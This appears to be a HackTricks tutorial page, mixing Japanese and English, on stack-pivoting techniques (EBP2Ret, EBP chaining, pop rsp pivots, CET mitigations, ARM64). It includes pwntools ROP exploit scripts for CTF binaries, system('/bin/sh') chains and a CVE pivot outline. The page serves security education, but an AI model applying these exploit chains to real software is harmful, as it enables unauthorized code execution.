Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 20 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

このテクニックは、フレームポインタと**leave; ret**命令シーケンスを慎重に利用して、ベースポインタ (EBP/RBP) を操作し、複数の関数の実行を連鎖させる能力を悪用します。

参考までに、x86/x86-64では leave は次と等価です:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.

Notes

  • On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
  • Some compilers omit the frame pointer (see “EBP might not be used”). In that case, leave might not appear and this technique won’t work.

EBP2Ret

この手法は、保存された EBP/RBP を改変できるが EIP/RIP を直接変更する手段がない 場合に特に有用です。関数のエピローグ動作を利用します。

もし fvuln の実行中に、スタック上にシェルコードや ROP チェーンのアドレスが置かれているメモリ領域を指すような 偽の EBP を注入できれば(pop を考慮して amd64 ではさらに 8 バイト、x86 では 4 バイトを確保)、間接的に RIP を制御できます。関数が return すると、leave は RSP を作成した場所に設定し、その後の pop rbp が RSP を減らすことで、結果的に攻撃者がそこに置いたアドレスを指すようにします。その後 ret がそのアドレスを使用します。

注意すべきは、2 つのアドレスを知る必要があることです:ESP/RSP が向かう先のアドレスと、ret が消費するそのアドレスに格納されている値。

Exploit Construction

最初に任意のデータ/アドレスを書き込めるアドレスを把握する必要があります。RSP はここを指し、最初の ret を消費します。

次に、実行を転送するために ret が使用するアドレスを選びます。使えるものの例:

  • A valid ONE_GADGET address.
  • The address of system() followed by the appropriate return and arguments (on x86: ret target = &system, then 4 junk bytes, then &"/bin/sh").
  • The address of a jmp esp; gadget (ret2esp) followed by inline shellcode.
  • A ROP chain staged in writable memory.

制御された領域内のこれらアドレスの前には、leave による pop ebp/rbp のための スペース(amd64 では 8B、x86 では 4B)が必要であることを忘れないでください。これらのバイトを利用して 2 枚目の偽 EBP を設定し、最初の call が戻った後も制御を維持することができます。

Off-By-One Exploit

保存された EBP/RBP の下位バイトのみを変更できる場合に使う変種があります。そのような場合、ret でジャンプするアドレスを保持するメモリ位置は、1 バイトの上書きでリダイレクトできるように元の EBP/RBP と先頭の 3 バイト/5 バイトを共有している必要があります。通常は低位バイト(オフセット 0x00)を増やして、近傍のページやアラインされた領域内でできるだけ遠くへジャンプするようにします。

また、スタックに RET スレッドを置き、本当の ROP チェーンを末尾に置くことで、新しい RSP がスレッド内部を指し、最終的な ROP チェーンが実行される確率を高めるのが一般的です。

EBP Chaining

スタックの保存された EBP スロットに制御されたアドレスを置き、EIP/RIPleave; ret ガジェットを置くことで、ESP/RSP を攻撃者が制御するアドレスへ移すことが可能になります。

これで RSP が制御され、次の命令は ret です。制御されたメモリには例えば次のようなものを置きます:

  • &(next fake EBP) -> Loaded by pop ebp/rbp from leave.
  • &system() -> Called by ret.
  • &(leave;ret) -> After system ends, moves RSP to the next fake EBP and continues.
  • &("/bin/sh") -> Argument for system.

こうして複数の偽 EBP をチェーンしてプログラムの制御フローを操作することができます。

これは ret2lib に似ていますが、より複雑でエッジケースでしか有用ではありません。

さらに、この手法を stack leak と組み合わせて勝利関数を呼び出す例題のexample of a challengeがあります。以下はそのページの最終ペイロードです:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 アラインメントのヒント: System V ABI は call サイトで 16 バイトのスタック整列を要求します。チェーンが system のような関数を呼ぶ場合、アラインメントを維持して movaps によるクラッシュを避けるために、呼び出しの前にアラインメント gadget (例: ret または sub rsp, 8 ; ret) を追加してください。

EBP は使われないことがある

explained in this post の説明どおり、バイナリがいくつかの最適化でコンパイルされているか、frame-pointer omission でビルドされていると、EBP/RBP は ESP/RSP を制御しません。したがって、EBP/RBP を制御することで動作するエクスプロイトは、プロローグ/エピローグがフレームポインタから復元しないため失敗します。

  • 最適化されていない / frame pointer が使用されている:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 最適化 / フレームポインタ省略:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

On amd64ではpop rbp ; retleave ; retの代わりに使われることがよくありますが、フレームポインタが完全に省略されている場合は、pivotに使えるrbpベースのエピローグが存在しません。

RSP を制御する他の方法

pop rsp gadget

In this page この手法を使った例があります。 そのチャレンジでは、特定の2つの引数で関数を呼び出す必要があり、pop rsp gadgetstackからの leakがありました:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp テクニックはここを確認してください:

Ret2esp / Ret2reg

Finding pivot gadgets quickly

お好みの gadget finder を使って、classic pivot primitives を検索してください:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

例:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic pivot staging pattern

多くの CTFs/exploits で使われる堅牢な pivot 戦略:

  1. 小さな初期オーバーフローを使って read/recv を大きな書き込み可能領域(例: .bss、heap、または mapped RW memory)に呼び出し、そこに完全な ROP chain を置く。
  2. pivot gadget(leave ; retpop rspxchg rax, rsp ; ret)に戻して RSP をその領域に移動させる。
  3. ステージングされたチェーンを続行する(例: leak libc、mprotect を呼び出し、read で shellcode を読み込み、それにジャンプする)。

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

クライアント側のパーサは、destructor loops を実装しており、攻撃者が制御するオブジェクトのフィールドから派生した関数ポインタを間接的に呼び出すことがある。各イテレーションがちょうど一つの間接呼び出し(“one-gadget” machine)を提供する場合、これを信頼できるスタックピボットおよび ROP エントリに変換できる。

Autodesk Revit RFA の deserialization(CVE-2025-5037)で観測:

  • AString 型の細工されたオブジェクトは、オフセット 0 に攻撃者のバイトへのポインタを置く。
  • destructor loop は実質的にオブジェクトごとに一つの gadget を実行する:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Two practical pivots:

  • Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains 8B E0mov esp, eax, eventually ret, to pivot from the call primitive to a heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
  • Gadget 1: push rax ; pop rbp ; ret (move original rax into rbp)
  • Gadget 2: leave ; ... ; ret (becomes mov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.

Tips for Windows x64 after the pivot:

  • Respect the 0x20-byte shadow space and maintain 16-byte alignment before call sites. It’s often convenient to place literals above the return address and use a gadget like lea rcx, [rsp+0x20] ; call rax followed by pop rax ; ret to pass stack addresses without corrupting control flow.
  • Non-ASLR helper modules (if present) provide stable gadget pools and imports such as LoadLibraryW/GetProcAddress to dynamically resolve targets like ucrtbase!system.
  • Creating missing gadgets via a writable thunk: if a promising sequence ends in a call through a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step like pop rax ; ret. The sequence then behaves like it ended with ret (e.g., mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.

For full chain construction and gadget examples, see the reference below.

スタックピボットを無効化する現代的な緩和策 (CET/Shadow Stack)

近年、モダンな x86 CPU と OS は CET Shadow Stack (SHSTK) を導入することが増えている。SHSTK が有効な場合、ret は通常のスタック上のリターンアドレスとハードウェア保護されたシャドウスタック上のアドレスを比較し、不一致があれば Control-Protection fault を発生させプロセスを終了させる。したがって、EBP2Ret/leave;ret ベースのピボットのような手法は、ピボットしたスタックから最初の ret が実行されると即座にクラッシュする。

  • For background and deeper details see:

CET & Shadow Stack

  • Linux 上での簡易チェック:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • labs/CTF の注意事項:

  • 一部の最新ディストリビューションでは、ハードウェアと glibc のサポートがある場合に CET 対応バイナリ向けに SHSTK を有効にします。VM での制御されたテストでは、カーネルのブートパラメータ nousershstk を使ってシステム全体で SHSTK を無効化するか、起動時に glibc の tunables を介して選択的に有効化できます(参照を参照)。本番対象での緩和策を無効化しないでください。

  • JOP/COOP や SROP ベースの手法は一部のターゲットでまだ有効な場合がありますが、SHSTK は特に ret ベースのピボットを破壊します。

  • Windows note: Windows 10+ はユーザーモードの保護を公開し、Windows 11 は shadow stacks を基盤としたカーネルモードの “Hardware-enforced Stack Protection” を追加します。CET 対応プロセスは ret でのスタックピボット/ROP を防ぎます;開発者は CETCOMPAT や関連ポリシーを通じてオプトインします(参照)。

ARM64

ARM64 では、関数のプロローグとエピローグはスタックに SP レジスタを保存・復元しません。さらに、RET 命令は SP が指すアドレスにリターンするのではなく、x30 の中のアドレスにリターンします。

したがって、デフォルトではエピローグを悪用してもスタックのデータを書き換えることで SP レジスタを制御することはできません。たとえ SP を制御できたとしても、x30 レジスタを制御する手段が必要になります。

  • プロローグ
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • エピローグ
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

ARM64 におけるスタックピボットに類する操作を行う方法は、あるレジスタの値が SP に渡されることによって SP を制御できる(あるいは何らかの理由で SP がスタックからアドレスを取ってきてオーバーフローが発生する)ことと、その後エピローグを悪用して制御された SP から x30 レジスタをロードし、RET することです。

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする